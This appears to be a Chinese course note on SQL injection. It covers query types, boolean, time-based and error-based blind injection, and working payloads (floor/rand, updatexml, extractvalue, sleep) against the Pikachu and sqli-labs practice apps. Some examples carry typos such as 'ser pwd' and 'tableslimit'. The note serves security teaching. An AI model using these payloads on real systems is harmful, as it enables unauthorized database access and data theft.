＜小迪安全＞15SQL注入之查询方式及报错盲注

当进行SQL注入时，有很多注入会出现无回显的情况，其中不回显的原因可能是SQL语句查询方式的问 题导致,这个时候我们需要用到相关的报错或盲注进行后续操作，同时作为手工注入时，提前了解或预知 其SQL语句大概写法也能更好的选择对应的注入语句。

select 查询数据

在网站应用中进行数据显示查询操作

例：select * from news where id=$id

 

insert 插入数据

在网站应用中进行用户注册添加等操作

例：insert into news(id,url,text) values(2,'x','$t')

 

delete 删除数据

后台管理里面删除文章删除用户等操作

例：delete from news where id=$id

        

update 更新数据

会员或后台中心数据同步或缓存等操作

例：update user ser pwd='$p' where id=2 and username='admin'

        

order by 排序数据

一般结合表名或列名进行数据排序操作

例：select * from news order by $id

例：select id,name,price,from news order by $order

        

重点理解：

我们可以通过以上查寻方式与网站应用的关系，注入点产生地方或用用猜测到对方的SQL查寻方式

 SQL 注入报错盲注

盲注就是在注入过程中，获取的数据不能回显至前端页面。此时，我们需要利用一些方法进行判断或者尝 试，这个过程称之为盲注。我们可以知道盲注分为以下三类：

基于布尔的SQL盲注-逻辑判断

regexp, like, ascii, left, ord, mid

        

基于时间的SQL盲注-延时判断

if, sleep

        

基于报错的SQL盲注-报错回显

floor, updatexml，extractvalue

        

https://www.jianshu.com/p/bc35f8dd4f7c

        

参考：

like 'ro%'                                  #判断ro或者ro...是否成立

regexp '^xiaodi[a-z]'                #匹配xiaodi及xiaodi...等

if(条件,5,0)                              #条件成立返回5反之返回0

sleep(5)                                  #SQL语句延时执行5秒

mid(a,b,c)                               #从位置b开始，截取a字符串的c位

substr(a,b,c)                           #从位置b开始，截取字符串a的c长度

left(database(),1),database() #left(a,b)从左侧截取a的前b位

length(databse())=8               #判断数据库database()名的长度

ord=ascii ascii(x)=97              #判断x的asci i码是否等于97

payload:

pikachu insert

username=x' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tableslimit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit =submit
    
username=x' or updatexml(1,concat(0x7e,(version())),0) or
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit =submit

username=x' or extractvalue(1,concat(0x7e,database())) or 
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit =submit
  
pikachu update

sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '&email=wuhan&submit=submit

sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or updatexml(1,concat(0x7e,
(version())),0) or '&email=wuhan&submit=submit

sex=%E7%94%B7&phonenum=13878787788&add=Nicky' or
extractvalue(1,concat(0x7e,database())) or '&email=wuhan&submit=submit

pikachu delete
/pikachu/vul/sqli/sqli_del.php?id=56+or+
(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,
(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)

pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)

/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue(1,concat(0x7e,database()))

注入点判断

1.判断可不可以注入；

2.判断是字符型还是数字型（加不加引号）

        以下均可成为注入点

 

 

无回显的布尔、延时

延时盲注：利用 and 链接正确语句，让if判断脚本对错，两个联合起来再通过时间来给出反馈，判断脚本 是否执行正确。

and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+

and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()

limit 0,1),1,1))=101,sleep(3),0)--+

如果数据库是security，则延迟五秒，否则不延迟

http://192.168.200.130/sqli-labs-master/Less-2/?id=1%20and%20sleep(if(database()=%27security%27,5,0))--+

---

 判断出数据库的位数

http://192.168.200.130/sqli-labs-master/Less-2/?id=1%20and%20sleep(if(length(database())=8,5,0))--+

---

 检测数据库第二位开始的第一个字符是不是e

http://192.168.200.130/sqli-labs-master/Less-2/?id=1%20and%20sleep(if(mid(database(),2,1)=%27e%27,5,0))--+

---

 limit子句用于限制查询结果返回的数量，常用于分页查询

limit 0,1--从第0条开始，查询一条信息